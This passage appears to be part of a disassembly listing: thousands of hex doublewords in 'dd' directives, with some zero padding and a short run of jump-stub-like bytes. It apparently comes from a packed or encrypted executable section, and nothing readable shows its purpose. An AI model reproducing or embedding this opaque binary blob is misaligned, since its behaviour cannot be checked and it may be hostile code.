6CA77128h, 838CEF0Bh dd 25BAFFE6h, 0E14AB3EBh, 144C3D56h, 0A2266884h, 0B30C07E0h dd 0F36D1C7Dh, 42CE2363h, 2A8D15Ch, 0DAC4588Eh, 9D2D860Fh dd 2FBAEC73h, 0C86E7D1Ah, 76A20935h, 2BACFFE7h, 82326A71h dd 2ED03875h, 61000000h, 3ACA96F3h, 0E0D31D1Eh, 0DE6EC707h dd 0E1178789h, 0E0D2086Dh, 5D41D207h, 8967A27h, 0A7CDE7Dh dd 56960000h, 0E0D2D73Ah, 0FEA4FD07h, 0CA96F347h, 0C8E21E3Ah dd 0A3FC07E6h, 54B7D313h, 8207E6C8h, 0C883E602h, 58B107E6h dd 5CB149EFh, 4B1E7B7h, 0EB048F0Fh, 1632C29Eh, 0FE70D69h dd 65C8E424h, 27FFE684h, 1871B2ECh, 40D02972h, 407628EBh dd 931E8093h, 0C1510F7Ah, 0E0AD43A5h, 58166F07h, 9E64A2EFh dd 1382215Ch, 9D00000Ah, 42EF2579h, 0EB98CED0h, 913E742Ah dd 3DEA207Eh, 6094CAD4h, 514DC4ABh, 0F8A66E1Bh, 0A3FB15C2h dd 4B53C06Dh, 0D2EE4615h, 7E6CC6Fh, 0E0782F95h, 0FFE68379h dd 0D666FA8Fh, 0E6C815BAh, 0D666BF07h, 0D60C9281h, 7FE2FE3Eh dd 0A507E6C7h, 3C45D24Ch, 252AD188h, 5D41D27Fh, 39B78CDh dd 5FEAB45Eh, 0E4FD9036h, 0F2BBBA5h, 0FE143CDh, 73E2A0F9h dd 0DC966434h, 99802A1h, 0FE180000h, 55BD6AA0h, 0AF661349h dd 30CB9EFh, 59B8659Bh, 26DB0F45h, 94CAD43Dh, 3B712DE7h dd 0E61C828Eh, 8EC4DA39h, 0E84B67BFh, 0E07E6CCh, 7CBCF1A8h dd 0E682FD60h, 24CA23FFh, 77029C77h, 129D0112h, 0E2E9A314h dd 38748BAAh, 46348h, 96F3D900h, 851E3ACAh, 1F07E6C8h dd 32E136C6h, 50B9E530h, 0F8A66D1Ah, 0C7DA416Dh, 99F007E6h dd 0D91B37C7h, 0FD0FE0E6h, 0D175E6A4h, 9BD69664h, 915FCh dd 237B9B00h, 0CCD240EDh, 722CE996h, 1E808F3Ch, 0C8D63BE8h dd 0C2A95E92h, 6C194F4Fh, 13C0F6A8h, 0BE6BA1FDh, 44134955h dd 0CD6DD0ECh, 2D9307E6h, 326CA776h, 7B2D57A7h, 1F7F9383h dd 75C348A5h, 0E6BBF659h, 5AC31CFFh, 920C07B4h, 2D71A207h dd 0C7D73DA2h, 0F0AAE33Ch, 0DF990A48h, 74C4A0D8h, 3CA3E38h dd 0E0CF0000h, 0FFE68379h, 0D666FA8Fh, 6A0F8F81h, 0BA52F8A6h dd 0E6C83B9Eh, 3BD46907h, 46AFD863h, 0ECB261B6h, 6D0A09B6h dd 0E6C7EE51h, 52BB1407h, 0EF2277C7h, 55FB24AFh, 7BBA95F4h dd 0FB17BE47h, 5CBFDB6Bh, 8A07E6F4h, 1C38C831h, 0FE113DAh dd 74F1AF08h, 0D79664E4h, 854FD9Ch, 0BA5C0000h, 1101AEE4h dd 6BAA578Dh, 0BF50FD33h, 15FCA9DFh, 6A1F5389h, 0D80E9081h dd 7FB5E92Bh, 2A603ED2h, 0D208967Dh, 2C8FAB03h, 5A07E6CEh dd 67BC3DF4h, 166F1ADh, 0D7008B13h, 0F81BC86Eh, 5DB61BA6h dd 0C051B641h, 21EE53DEh, 0A5D6F27Dh, 940543EBh, 8B9BD3DAh dd 11393874h, 0CA000003h, 0FD607CBCh, 23FFE682h, 911C828Eh dd 0E559FF68h, 0FFE68384h, 0DA60EF9Ah, 0DCF01DF6h, 2F4BDB44h dd 7E71BD5h, 0B30898F1h, 5B083E60h, 3569AAB8h, 0D2CC45AAh dd 10B51E47h, 0E50E9905h, 0B1D8F17Ch, 9031FAFh, 8E0FE0C6h dd 0B9CD7664h, 0D97E922Ah, 73BC623Ch, 0E16C32DEh, 8E914FB8h dd 6D966482h, 7909332h, 0F6200000h, 4DC572A8h, 0A76E1B51h dd 0FB14C1F7h, 51C06DA3h, 2EE3174Dh, 9CD2CC45h, 437925EFh dd 0EE247A96h, 96CCD241h, 0F0536FC7h, 1607E6CEh, 6CA7F9B0h dd 0C34DA232h, 812750DBh, 148A89EEh, 0AEF02489h, 4757BE23h dd 702A63BCh, 813B6CC8h, 0E6B85DB2h, 1E809340h, 8EE018E8h dd 137E3874h, 0F000000h, 2436Dh, 0D8FB2500h, 0D2D81BB6h dd 128C872Ch, 67BCB56Ch, 469F4AAh, 0D9028D11h, 0F556CA70h dd 7FFE682h, 324EDE82h, 7E6C8DFh, 0C71CAC05h, 0D4BF414Ch dd 2B5AE02h, 5DB66399h, 0EC9DB641h, 0CEC8E474h, 0F40FE0DBh dd 85ACDD9Bh, 74AF9664h, 6D9D5h, 5F3FD700h, 8967C29h, 0AEF025D2h dd 5A44CB78h, 49A7724h, 0FEE59ACEh, 0A8558B13h, 4FFC326Ch dd 0FAA7DDC1h, 804F8519h, 0D0A90C28h, 71D707E6h, 326CA7BAh dd 0CDD142A7h, 3BF52642h, 0ACE2BC57h, 748FA4DCh, 164238h dd 9DF20000h, 0CD842A74h, 19F6Dh, 0C9E52500h, 0FFE68366h dd 0D68D338Ch, 0E68380E0h, 65FB8EFFh, 0C86DB9D5h, 207907E6h dd 8AD83B90h, 8AE90588h, 7F202B2Ch, 0BD628B16h, 97C04B53h dd 3D749E2Eh, 0BDF48020h, 0B764A248h, 9EB7425Ch, 0C5D939EBh dd 623CD53Ah, 0E40090F9h, 0FE0E3EAh, 42C17FD8h, 8996649Dh dd 628AF4Eh, 8E880000h, 0E52DDA10h, 3FD683B9h, 937C295Fh dd 0E928D50Bh, 964B7FB5h, 43A64ADh, 0ABE1BD57h, 568C12FEh dd 0FE346AA9h, 58BBD72Fh, 7E07E6D0h, 7CBC6118h, 0E682FD60h dd 24CA23FFh, 77029C77h, 129D0112h, 270BC5F6h, 29C76ECh dd 5B936399h, 0F938748Fh, 7, 0E66D8Ah, 0E0060000h, 0FFE68380h dd 0D565FB8Eh, 0CCD24095h, 0C86EB226h, 0FF5807E6h, 0A5F91A6Fh dd 4D51C26Fh, 0F4AA68BDh, 0E7A2BB4Eh, 62CBD33Dh, 137692D2h dd 4107E6C8h, 8EAA42E8h, 0FE0F494h, 6878EE3h, 45E7D0A4h dd 8A30991Ch, 0C72AE841h, 0E8966417h, 5780EADh, 0DE380000h dd 35DD8AC0h, 8F863369h, 0E32CD90Fh, 39D885BBh, 46FB2F65h dd 0B4EAB45Dh, 5B910D07h, 63C62AEh, 0AEE4BA59h, 86B87DFh dd 2E07E6D1h, 6CA711C8h, 0F9841AF6h, 0ADD767D0h, 6CA3F78Bh dd 0C997B832h, 4DB245EBh, 848D8C6h, 0D23E60B3h, 0FFE6C36Fh dd 79973C95h, 0D0EC7F25h, 1201E59Fh, 69A7FC8Ch, 0DB81AA35h dd 0CF95CD9Dh, 7333874h, 0C4000000h, 1B6Dh, 6CA70600h dd 0D142A732h, 0B0E942CDh, 9D0112F6h, 4559B80Dh, 207A619Fh dd 13000000h, 0F3AB67BCh, 0EC993F68h, 0C0EC7727h, 0FFE6835Ah dd 0AA68BD55h, 9A4069F4h, 987B5F19h, 0A719D006h, 8EA7326Ch dd 0B6E829FBh, 65A1BD4Dh, 8107E6C8h, 0D0439828h, 0D60098CEh dd 99D1468Eh, 3E60B1B1h, 7B218AB3h, 0CE5945CEh, 0B5E9297Eh dd 0F3990510h, 9E58F792h, 0A3A9E182h, 0E7504EC1h, 92AEEE7Eh dd 7E69D2Fh, 0F07B23F1h, 872D86C7h, 8E85AFEFh, 0E544D1CCh dd 0D17EF298h, 8B0FE722h, 0C64DA232h, 1EF5A2D8h, 769BF080h dd 0CE749D28h, 7A96EB3Bh, 0CA709924h, 0B0402069h, 0CF004670h dd 1A68C643h, 8B9E0074h, 6BC407E1h, 647342ADh, 8726619Eh dd 432h, 0D006987Eh, 79AFEF23h, 1F5549CCh, 0CB019D72h dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h, 749F4C82h dd 0CD25F42Ah, 0E6D24EB1h, 570E7407h, 0A2326CA7h, 35DAC44Dh dd 1039C4DAh, 947F2C6Ah, 103A7A0Ah, 7DF761B4h, 265D12Fh dd 30FFE728h, 0C1DD32D7h, 0F023881Bh, 0D60723AEh, 0C3DB381Ch dd 3485BD8Dh, 51233875h, 0D3000000h, 1C147793h, 0E942FFE7h dd 96F38C43h, 1D1E3ACAh, 7807E0D3h, 0D2B91C38h, 8EE707E0h dd 0B6469FE8h, 0B9EFAF61h, 5A44CC21h, 8C00A6CFh, 7E0D227h dd 395522F1h, 7E0D2D6h, 43AA3FCh, 0B1D4B957h, 5846C955h dd 4B75F7DEh, 77B857E2h, 51000003h, 3ACA96F3h, 0E0B4941Eh dd 2E83C307h, 831BCE2h, 0E0B3399Ch, 7E0E6707h, 0E0B2FF62h dd 26CC2507h, 94F984DDh, 3B941F7Fh, 0D9B04802h, 6ED7C74Bh dd 0E477B4DEh, 2485D0BAh, 51A6E67Eh, 2A749FC3h, 41D136C1h dd 0DA4EF45Dh, 0FDBB050h, 2FC7FD56h, 25799AEFh, 0A205719Ah dd 0D0FFE74Fh, 1970D177h, 0B75D050Bh, 0CAF37EE7h, 2BB5D161h dd 0B707E180h, 0A36ED35Eh, 7F55B8D4h, 227B07E1h, 739C2EB9h dd 0F86821B9h, 0AFC24C68h, 87E00FDBh, 389BB7F7h, 5EFFE74Fh dd 74215F05h, 0F74FF9Fh, 3649A04h, 2E4ADA86h, 7E17A94h dd 443DC832h, 321BDE80h, 0AEEE3EC9h, 0E1152F92h, 73EB5507h dd 0B85CB6AFh, 2DA147B0h, 7E0B1C6h, 911C8290h, 2DB8E62Ch dd 7E26E011h, 0E82C8119h, 0D58F10B6h, 6EB996CEh, 403440h dd 0BCC50000h, 82FD607Ch, 0CA23FFE6h, 73C6C324h, 0E682F457h dd 60C922FFh, 9BE6B4D0h, 9BF407E0h, 0A996C010h, 0AB7FEC74h dd 52B92DD3h, 5C07E0A4h, 0E21A21DBh, 0C9406EAFh, 5B019D74h dd 0D37Ah, 6CA70B00h, 0CF42A732h, 911C8293h, 0F74FF68h dd 0CA0A9A04h, 0E6834BAEh, 7B2079FFh, 0CE610797h, 0BEF4AA69h dd 67CAE626h, 3EFFE683h, 0E683BF22h, 4B8CE5FFh, 5CD84CF2h dd 3BFFE688h, 877CDFFBh, 51AAFFE6h, 8915FEABh, 0AE66BB53h dd 769D4AF0h, 5849D28h, 0C9AFCB5Bh, 0F507E09Ch, 83ECB260h dd 0C39DEC4Dh, 773B1733h, 0A630FDDh, 0B2EC257Ah, 3542CF7Ch dd 0ED76B619h, 1A83DCFFh, 9876055Ch, 2CCB0699h, 1CAh, 386E30E6h dd 0E117878Bh, 87BDE134h, 336935DAh, 0DD138B86h, 60BF4A9h dd 5FB56298h, 0B45C093Fh, 0C07B4EAh, 358D5C92h, 0E6D5B619h dd 0BF76DC07h, 0FE346AA7h, 0A0FE1166h, 9CC64DFAh, 719A2579h dd 103AD208h, 5078EB35h, 47FEA429h, 3ACA96F3h, 2D492EE5h dd 0FFE683CAh, 90369FF8h, 9C0EDCF8h, 0B30C07E0h, 9B95FC28h dd 1E9F07E0h, 0A7255D64h, 0C2C3406Eh, 73000000h, 43D50049h dd 0A76C0B54h, 0DA436CF7h, 1BC1DD35h, 0B6CA764h, 0E6838CEFh dd 0F861BAFFh, 63FF1368h, 0E187F0AEh, 7628E94Eh, 8843BFEBh dd 0DC37FFE6h, 34DF8CC2h, 0C3C6DF6Ah, 0BF10D9Dh, 3707E09Dh dd 0A42F6FA2h, 7BDC127Bh, 82C2520Eh, 2BB6E82Dh, 0ADE85C02h dd 930FDD73h, 238C12FEh, 0CBD33E93h, 0ED3FD95h, 0B0BB511Fh dd 55BC690Fh, 0AAA30622h, 78D1FFECh, 0A20A510Fh, 0B6F19998h dd 0D117h, 6737DF00h, 108E8431h, 0B6E82DDAh, 623CD380h dd 0C927F2Ch, 6EDA2D6h, 0B05D930Bh, 57043A64h, 2AFE5B9h dd 88578D11h, 0D6B11430h, 79DF07E6h, 346AA7C2h, 0DCC251FEh dd 821CF74Ch, 0EA28CEF7h, 326CA733h, 91D142A7h, 2A8F1A84h dd 0E750B9E5h, 273950B1h, 0C7CA7B97h, 338C07E6h, 0CED043A8h dd 65AB0098h, 863D4328h, 45AE495Ah, 7D21F29Fh, 0A126C6F2h dd 25EC1720h, 8A89EE79h, 3C6D8914h, 841DA82h, 0E1557F4Eh dd 841AF9DDh, 3256D0F9h, 33E08613h, 0DB88BEE0h, 0B5E92A38h dd 898012Ah, 0B23D61B3h, 50E389h, 933965ABh, 0EA7529E6h dd 91752F58h, 39E61C82h, 0D98988DAh, 0AFD8633Bh, 252DD46h dd 0AE3965ADh, 3F8DF85h, 91000000h, 6FA75CBBh, 0D43FA42Fh dd 36DA3FCAh, 9C78DD68h, 0FF127702h, 62AF149Fh, 0C34CB13Ch dd 2AEB50DBh, 8E84E974h, 68528510h, 5122h, 56242C89h, 0C681E689h dd 4, 4EE81h, 34870000h, 1C895C24h, 535F6824h, 0C890000h dd 25BA5224h, 553F9E69h, 9E2344BDh, 5DEA2937h, 545AD389h dd 83240C8Bh, 815304C4h, 20B242Ch, 418F72F9h, 8418108h dd 72F9020Bh, 592434FFh, 8B04C483h, 8957241Ch, 4C781E7h dd 83000000h, 3C8704C7h, 55E95C24h, 0E7FFFA2Ah, 66D1D577h dd 2EB80DC2h, 3080054h, 0F2E0FFC5h, 0EA70DA74h, 92194925h dd 9C4DD325h, 200F0633h, 7A39C7ADh, 3335B7E3h, 0BB37C854h dd 272E9249h, 4616ABADh, 0FC665008h, 0B31F9CB7h, 0EB42921Eh dd 4A754E99h, 1F070D50h, 302BD8C8h, 0FD28C906h, 0D47EC034h dd 0D34D27C4h, 6F0451E6h, 623A32BDh, 612A3144h, 2119AF7Eh dd 0FD47659Dh, 1B7AB201h, 1F76200Bh, 9B63A8B5h, 0A76667ADh dd 1751DF8Dh, 383CC6D9h, 0E655D526h, 796A6307h, 0E9529852h dd 1A3h, 549E954Ah, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh dd 5D9752E4h, 0FCA3FB6Dh dd 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h, 9CACA3F4h dd 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h, 0A4E56D59h dd 0FEACFFB2h, 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h dd 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0) dd 6D849700h, 69F033A2h, 0EEh, 8 dup(0) dd 0E9000000h, 0FA5h, 58C468h, 0FE36E908h, 0C668FFFAh dd 0E9080059h, 0FFFAFE2Ch, 5B2E68h, 0FE22E908h, 0FD68FFFAh dd 0E908005Bh, 0FFFAFE18h, 5D2B68h, 0FE0EE908h, 0ED68FFFAh dd 0E908005Dh, 0FFFAFE04h, 5EC468h, 0FDFAE908h, 4F68FFFAh dd 0E908005Fh, 0FFFAFDF0h, 605D68h, 0FDE6E908h, 0CA68FFFAh dd 0E9080060h, 0FFFAFDDCh, 619B68h, 0FDD2E908h, 2968FFFAh dd 0E9080062h, 0FFFAFDC8h, 62EB68h, 0FDBEE908h, 3668FFFAh dd 0E9080064h, 0FFFAFDB4h, 652368h, 0FDAAE908h, 29DEFFFAh dd 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h, 0BFA43EC5h dd 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh, 0BC845B4h dd 6BEFE26Eh, 56D5FE32h, 0E2171CD9h, 0F4317CE7h, 9ED5EC1Dh dd 0A6654AF5h, 835187E7h, 0B91C7D0Fh, 0E3A01DE5h, 43E7E21Ah dd 9D70ADF8h, 2FB60FFEh, 43B70B8h, 7C358187h, 0DA8F3EFh dd 0DC461FD8h, 7641ACEFh, 0AA16281Bh, 3FA9D0h, 9D850000h dd 6AE9205Dh, 0E21730EDh, 0E44590E7h, 0FC6BEB81h, 0A6155227h dd 7CD7F729h, 0AD5C43EFh, 0C1187914h, 0F4C03306h, 65B6F33Eh dd 914A7F1Ah, 1EEFDD10h, 0BA89E8B3h, 17D0AAC4h, 0ECh, 259C6DF3h dd 0C0F707EEh, 0CA9DDA25h, 3FD7EA93h, 1114BF21h, 902B9A72h dd 0D4310845h, 721B52EDh, 0DD2DE2CBh, 3B124F37h, 0B958F3C2h dd 0ADEA7140h, 0E7E2D3C6h, 0AFC6198h, 7C17AE5Fh, 0AC4BE631h dd 82CD6851h, 0BE65EC37h, 6CDB764Fh, 3BB8EF2Ch, 0EF7CF539h dd 92D158A3h, 0CC675EABh, 5D9D4481h, 0F4FAB734h, 0F5AEFDCh dd 33108DC4h, 0D3F77157h, 9F6A5188h, 0F28D38D2h, 3E255CA7h dd 0FEBDFAC3h, 8FFDAA57h, 1864EBC0h, 0E8100CD4h, 145FA3EFh dd 0E5B28BC9h, 7B461D68h, 0D3038h, 0E7DE3100h, 7241B960h dd 1B844EBh, 8A3DD37Ah, 18A15C03h, 66ECF791h, 0F49B229Bh dd 8027AE07h, 0DB43B8Ah, 73EC5FCh, 6F5E1B98h, 85BEEFE2h dd 0EA2CD551h, 0C17A4630h, 396623A0h, 7BC6E7E2h, 0E11CF330h dd 53AA51D8h, 0B2442B62h, 3FFBEFBh, 0E9205D9Dh, 7C1F3A6Ch dd 8A0786EFh, 0EFDC2ECDh, 0BC79F62Dh, 1CEFDC2Eh, 0F84986D1h dd 24DD12ADh, 0F6EFDC2Fh, 7413AE07h, 37942F86h, 4E8511Ch dd 0C073CE99h, 1D0AA25h, 0B7h, 0E19E1B9Ah, 41EFDC22h, 0D58DB9F6h dd 3BF7E12Ch, 4B881806h, 912C8574h, 77AE17F2h, 1CE5FCCEh dd 66A3FF53h, 1B775E93h, 0B049E7E2h, 3AD37A01h, 0D2B9F08Bh dd 0F1C03839h, 83C00BA6h, 285F9CDCh, 7C3BA9ABh, 41C813EFh dd 164D82CAh, 0ABAD4F6Dh, 0DC1992B7h, 5048F06Dh, 57A2F771h dd 0F5CC3920h, 0BC482F6Eh, 0E21F6A05h, 89C7FE0Bh, 1D68858Eh dd 2E2C6F3Ah, 3300000Ch, 0BB62E9DCh, 46ED7443h, 0D57C03BAh dd 5E058C23h, 0F9931AA3h, 249D68EAh, 0B005F69Dh, 3D888229h dd 0C7FE0FB6h, 1D9A0940h, 0EFE27060h, 6D5387C0h, 0FBA22990h dd 957CB302h, 6CB75269h, 6D74702Fh, 538A259Ch, 169A57D4h dd 0AFFAE7E2h, 0FF629B72h, 0D01BB609h, 4787FE85h, 3056D30Ah dd 0E2EF7C48h, 0E3B76097h, 0CAF91115h, 6883E42Fh, 0F26FA6B1h dd 0EFDC5D35h, 3A0D4A95h, 0DC5D4C05h, 0A36ED9EFh, 0AA7BE54Eh dd 50DCD0h, 9DB80000h, 8831CC5Dh, 8B89063Dh, 0CFEF7C23h dd 30A8C026h, 81BE004Ch, 154AE530h, 0EFDCB85Ch, 5EB37EE9h dd 0D0AA98D5h, 25ECh, 5D9DC800h, 0E9843DCCh, 9F1C539Eh dd 0EF7C1C1Dh, 6CA13C87h, 0EFDC1DB3h, 0B70AD540h, 0D0AA3A8Ch dd 745h, 75C92100h, 0A5000008h, 0E9205D9Dh, 0E1ED0B6Ch dd 3168B3DFh, 8530CBB2h, 29987148h, 0B302FBA2h, 0E562E118h dd 0EFE26D28h, 59003D88h, 0FCA5DC11h, 0B608E8ECh, 24A1D81Bh dd 0EFE23B67h, 0D03F7CC7h, 0E20E8753h, 0A7DE29E7h, 0F17849C0h dd 0CB02B34Ah, 85331D22h, 0E2D94B08h, 0FF60ABF7h, 5A977861h dd 9BD01887h, 0AB68E564h, 0BF7E293h, 939A57D4h, 0AFFAF7E2h dd 7F36C564h, 0ED5C99E4h, 7CAAB270h, 8BC914FFh, 565E886h dd 0C6246732h, 9B00000Ah, 23CA5164h, 0AE55DCEBh, 3DE46B52h dd 0C66DF4CBh, 61FB823Bh, 8C35D072h, 18AD5E05h, 0A510EA91h dd 2F86771Eh, 850271A8h, 0EFE271C8h, 0D5BBEF28h, 571AB2Ch dd 0F330D2DEh, 0E228CD86h, 6E5E07E7h, 0FEFACA12h, 2E7948C0h dd 0CD024AF1h, 0B96E1796h, 82B597D9h, 8A47C4FBh, 0EAE7E24Bh dd 0C4F5629Fh, 2CDFE21Eh, 9BE35AE1h, 59B22F66h, 0F1E7E274h dd 71886FA6h, 0FB12B940h, 78C02FCAh, 0D4250C43h, 0B231A0DDh dd 3D3F709h, 0A01DFFF7h, 0F7E314E3h, 70ADF843h, 0E2E82F03h dd 5F96E1EFh, 0C48637E0h, 7FD28FF2h, 23926B42h, 0AD04F59Ch dd 3B26DD12h, 0E0287FE3h, 41F774ABh, 0B3877D33h, 36D1E814h dd 0C962A0EBh, 0FF8D6462h, 9F7F134h, 956A0000h, 1AF29920h dd 817D24ABh, 0FA0CB33Ah, 68953CC3h, 2330CA51h, 0D45B629Fh dd 60E7DE2Dh, 0ED7443B9h, 77FEB746h, 9754D140h, 0F7EFE271h dd 5D9D8ABEh, 0DAB29E0Ah, 4691BA9Dh, 375B660Fh, 0A2616095h dd 4879F665h, 92DFE256h, 133B0DE9h, 0E2D3D996h, 8DEE39EFh dd 4A870115h, 0CE77AEF9h, 0AE0872E8h, 790ACAFAh, 0B01DBEEEh dd 0D2B92865h, 5C038A3Bh, 0A7914ADh, 6F568DC2h, 7CEB289Fh dd 0E2CDA2FFh, 0FCA524E7h, 0D6E8C78Ch, 46033835h, 5EF7E35Ch dd 5FF9E23Fh, 6DB8D112h, 2FCB936h, 115CF7E4h, 13883D4h dd 14BCE31Ah, 33C2D0B6h, 0C36AF13Ch, 0C5447B4Ah, 0E3DA8B48h dd 0BC4CEBF7h, 0AA7DBA05h, 87BEF33Bh, 0E3AD6E0Ah, 8EC510EFh dd 0D85F56A7h, 6995D831h, 376C0752h, 0FFE4307Eh, 0CC033880h dd 0E403DA4Fh, 5FAB4AF7h, 9C737C52h, 3D884C36h, 25D4BBF2h dd 0AF5E058Ch, 0CC0C7B16h, 66AF588Fh, 0FAD1C24Eh, 481F02Dh dd 0FFE4E6ABh, 0EE5DF843h, 0BD3A71AEh, 177F75F7h, 873ECA69h dd 55A011E8h, 6221FE17h, 9CDFAA3Dh, 8C9h, 0C74E6798h, 52D9E820h dd 0E1685FABh, 6AF1C43Ah, 0F87F46C3h, 30CD755Eh, 0A05B0289h dd 15E78E15h, 85741BA2h, 0FF6EA52Ch, 0E273C582h, 0B8EC25EFh dd 1CD956D5h, 7CE7E217h, 0EC1DF431h, 629B3AD5h, 0C7351C53h dd 0A11E55F0h, 0E7E216E4h, 71AEF944h, 4A31A09Eh, 946706BFh dd 0BE89E421h, 28AF06F7h, 503D46EDh, 0E7BD7h, 2D140000h dd 0FE49E4DBh, 0B7C995C1h, 0A5000004h, 0ADEDB6F8h, 1EBC3970h dd 0C0EF7C1Dh, 74DF4475h, 7EC2E76Ch, 4DCA013Eh, 0CA820F1Fh dd 7549BA63h, 568EE0AFh, 0D729C819h, 8BFA95E0h, 5AD70E43h dd 0D2774864h, 6D548BD6h, 0F79E259Ch, 0E71AF06h, 0FAF86263h dd 807EC2Fh, 0A55A0000h, 2AE28910h, 916D149Bh, 0AFCA32Ah dd 78852CB3h, 3320BA41h, 0C44B728Fh, 50D7EE1Dh, 0DD6453A9h dd 67EEC736h, 8744C130h, 0E7EFE274h, 9C6D7AAEh, 418C3BD1h dd 0D7FA07A6h, 0E2169D5Ah, 318477E7h, 0E7324B96h, 0EFD6159Ch dd 0FF999019h, 9ECB90FBh, 0C6DB853h, 7E082FECh, 0AC53905Fh dd 7BF82F6Ch, 0DFE247D8h, 5D063D88h, 0F16E70E8h, 0EFE28C34h dd 3AE84994h, 68D7141Bh, 0B2398881h, 936FF20Bh, 0C3AAE12Ch dd 6F427F46h, 7F3CB938h, 0DFEFE2FCh, 68B05794h, 7DFC33h dd 0EFE2FC43h, 0AC1B58A3h, 0E2CFD22Fh, 916D54E7h, 7448F2Ah dd 4D346BB6h, 0E7CE05BCh, 0A2619E11h, 7CB302FBh, 0DFE6995h dd 87D26DB8h, 2DD8774Ah, 6B2B5694h, 0AD5029Eh, 730C7h dd 0E7DE3100h, 7241B960h, 1B844EBh, 8A3DD37Ah dd 18A15C03h, 66ECF791h, 0F49B229Bh, 8027AE07h, 0DB43B8Ah dd 73EC5FCh, 755E1B98h, 85BEEFE2h, 0D956D551h, 0E7E2171Ch dd 1724E15Eh, 3984E7E2h, 0AF6CE920h, 0FE7E216h, 953C79C4h dd 64E11855h, 0DFE1EA07h, 0A6255CA7h, 2DFF31FDh, 4784E012h dd 0F1289970h, 9F6EF30Ah, 0F540DB26h, 0BB52F9B8h, 0B8006F0Ah dd 0A1ECD32Fh, 103BED6Ah, 5AA5F77Dh, 6459D71Ch, 83C6911Dh dd 6A5h, 0EB724BBCh, 76FDB444h, 58C33CFh, 8E15A85Eh, 1CA31AE7h dd 14F19182h, 8C7F26ADh, 0F10BB239h, 61983FC6h, 2392C950h dd 0E275E9A6h, 0DC1049EFh, 1CD956D5h, 0F6E7E217h, 0CB16B104h dd 41FE7BB2h, 0A1E7E217h, 9D6C0B56h, 0F910E724h, 7F8E2DC8h dd 1720DD5Ah, 0E180E7E2h, 0B7029D24h, 0E786216Ch, 6A09A41Bh dd 8D8B269Fh, 0F4F26732h, 576E9E85h, 0D93471BCh, 0FFB6470Eh dd 39F63D78h, 7CBD750h, 0A7000000h, 281C9h, 9C6DA500h dd 0D31B8A25h, 58B3BE4Ah, 3C87D26Dh, 16CB8805h, 0E02BE7E2h dd 60DF5E95h, 0E21726E3h, 0FE3B86E7h, 0E1ED3491h, 289D4DFh dd 7813A25Bh, 14A15A41h, 1AF12E79h, 0D84FD6EFh, 0A7245B90h dd 0E7E2406Fh, 60477EC9h, 0EA9118A9h, 846BA213h, 59A43F76h dd 0AEA74AF8h, 0ADEA4374h, 6FAA3DAh, 3507F2CFh, 0C05B6AA3h dd 16ED2A75h, 0C837D2EBh, 97144B80h, 0FF7C65C9h, 9BE2206Bh dd 4D05650Fh, 5973F82h, 35CA0000h, 0BA52F980h, 21DD840Bh dd 9A6C139Ah, 8F59C23h, 83902AB1h, 34BB02FFh, 0C0477E8Dh dd 4DD4E319h, 0D75E57A6h, 0F7B431A0h, 57EFE276h, 9C6DEA1Eh dd 12EB8A25h, 0AF0A08A3h, 0D9E821E4h, 392C1752h, 0EA5D750h dd 81000000h, 0A81DEED5h, 0A85C20Dh, 153h, 1CEED5E6h, 86C30EA9h dd 29675EAFh, 129F50FEh, 2A7CBF8Ah, 37000005h, 0BF66EDC0h dd 4AF1784Fh, 0D98007BEh, 62099027h, 0FD971EA7h, 28916C16h dd 0B401FAA1h, 4174862Dh, 0CBFA13BAh, 219E0D44h, 0EFE27764h dd 0D5578BC4h, 68A518EEh, 0AE497891h, 2CC7FE0Fh, 0A508D32Eh dd 752D7BFCh, 0D54C77E0h, 12E445ADh, 0E0B7F4EBh, 722FAC29h dd 0D2E7E222h, 7AB53C87h, 0D75032C9h, 0D08h, 0D0C9E400h dd 0A5000000h, 0CAC9h, 5D9DA500h, 0EB6AE920h, 0E216B16Eh dd 89C611E7h, 0E1EDBF1Ch, 6D9841DFh, 3B938744h, 0EA756F5h dd 9AEB2873h, 0A6630EFBh, 0D839D41Fh, 0CF810897h, 95F641CEh dd 858D1261h, 75ACF7CEh, 6BC79F6h, 0D11CEFE3h, 0A52C194h dd 0F23D8481h, 1FCC3EBBh, 0EB36F77Dh, 644978ADh, 0F639041Dh dd 459h, 37BEF708h, 0C2497890h, 51D8EF1Bh, 0DA6154AAh dd 68EFD633h, 0C03DC5CEh, 30CB72F9h, 0A557FE85h, 15E48B12h dd 6FDE159Ch, 0E27835F2h, 285C95EFh, 0E9205D9Dh, 80BD0802h dd 0D3F99411h, 4E99EF7Bh, 0D6D53017h, 0EF40FFD0h, 97D41F10h dd 0FEC54128h, 28803A77h, 0A554EFDCh, 22DE850Ch, 0E2C9009Bh dd 0B5009B2Ah, 3EFFD78h, 9DD90000h, 6CE9205Dh, 0DFE1ED0Fh dd 5AC964AFh, 29A6DD12h, 0F77C85B7h, 3398D621h, 0E51D652Fh dd 3CBD71Ah, 61960000h, 0EE1EC54Ch, 5DA950D7h, 0C638DF66h dd 44C168EFh, 775CF67Dh, 873ECBh, 8C13A259h, 19A017E5h dd 0A32A9B72h, 0C380FD6Ch, 23EFE278h, 5D9DB6EAh, 0C16AE920h dd 0A7779873h, 0F40AA996h, 9EDB26C1h, 0E294D031h, 0F62D78DFh dd 0E2B1FE0Fh, 0BEB046A3h, 2BD40B56h, 0DB069CB2h, 9225D70Bh dd 2E42E647h, 60D8EEAEh, 4CBD6423h, 42BF3E75h, 0EFE23185h dd 318D4AC7h, 0A2EDEFE2h, 2E013E89h, 12EE7FBFh, 7AC510ABh dd 17AE5C43h, 85F4317Ch, 0EEED1F06h, 0E230B471h, 7EC914EFh dd 408D441h, 5FAAE7E2h, 0F9C84128h, 8332CB72h, 0FC3179E8h dd 9D8A48C5h, 0A1ECFF7Ch, 65C86263h, 98DBA605h, 309h, 870EA758h dd 129928E0h, 0A1289F6Bh, 2AB104FAh, 0B83F8683h, 708D351Eh dd 0E01BC249h, 55A74ED5h, 0C534DB62h, 0BF2E65ECh, 0E2798542h dd 78ACE5EFh, 0BC399C6Dh, 0E7E216FFh, 2EC9145Fh, 10477E8Fh dd 48E3D229h, 